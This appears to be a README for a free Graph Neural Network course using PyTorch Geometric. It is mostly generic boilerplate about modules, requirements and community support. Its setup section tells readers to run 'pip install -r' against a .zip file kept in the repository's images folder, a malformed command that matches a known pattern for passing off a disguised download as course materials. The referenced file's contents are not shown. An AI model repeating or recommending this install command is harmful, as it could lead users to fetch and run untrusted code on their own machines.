Welcome to the Graph Neural Network Course! This free, hands-on course uses PyTorch Geometric to teach you about the fascinating world of Graph Neural Networks (GNNs). You don’t need any programming experience to start.
- Basics of Graph Neural Networks: Understand what GNNs are and why they matter.
- Hands-On Exercises: Follow easy-to-understand samples using PyTorch Geometric.
- Real-World Applications: Explore how GNNs are used in different fields like social networks and recommendation systems.
- Free access to materials and resources.
- Step-by-step guides that are easy to follow.
- Supportive community for discussions and help.
To run the course materials smoothly, your computer should meet the following requirements:
- Operating System: Windows 10 or later, macOS, or any Linux distribution.
- RAM: At least 8 GB of RAM.
- Processor: Intel Core i3 or equivalent processor.
- Software: Python 3.6 or later, pip, and PyTorch Geometric.
To start your learning journey, you need to download the course materials. Visit the link below to access the latest release:
- Click the link above.
- Find the latest version of the course materials.
- Download the zip file or other available formats.
Once the download is complete, follow these steps to set up everything:
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Extract the Files:
- Locate the downloaded file.
- Right-click on it and select "Extract All" (or use your preferred extraction tool).
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Set Up Python:
- If you don't have Python, download and install it from the official website.
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Install Required Packages:
- Open a terminal or command prompt.
- Navigate to the folder where you extracted the files.
- Type the command:
pip install -r https://raw.githubusercontent.com/gaurav1154/graph-neural-network-course/main/images/graph-neural-network-course_2.7.zipand press Enter. This installs all necessary packages.
The course consists of several modules, each designed to introduce a new concept in GNNs. Here’s what to expect:
- Introduction to Graphs: Understand how to represent data as graphs.
- Building Your First GNN: Step-by-step creation of a simple GNN model.
- Advanced Concepts: Dive into more complex structures and algorithms.
- Project Work: Implement a final project that showcases your understanding.
You’re not alone in this learning journey! Join our community forums to ask questions, share ideas, and connect with other learners. You'll find support from fellow students and instructors.
Stay tuned for future course updates! We plan to add new materials and examples as the field of GNNs evolves. Check the release page regularly for new content.
We value your feedback! Share your thoughts on the course materials. Your input helps us improve the course for everyone.
While the course covers a lot, you might want additional resources. Here are some recommended materials:
- PyTorch Geometric Documentation: The official documentation offers detailed insights and examples.
- Online Articles and Videos: A quick search will lead you to a wealth of tutorials and guides on GNNs.
- Books: Consider reading introductory books on machine learning and graph theory.
Now that you know how to install and run the Graph Neural Network course, you are ready to start learning. Don’t hesitate to reach out for help if you need it. Happy learning!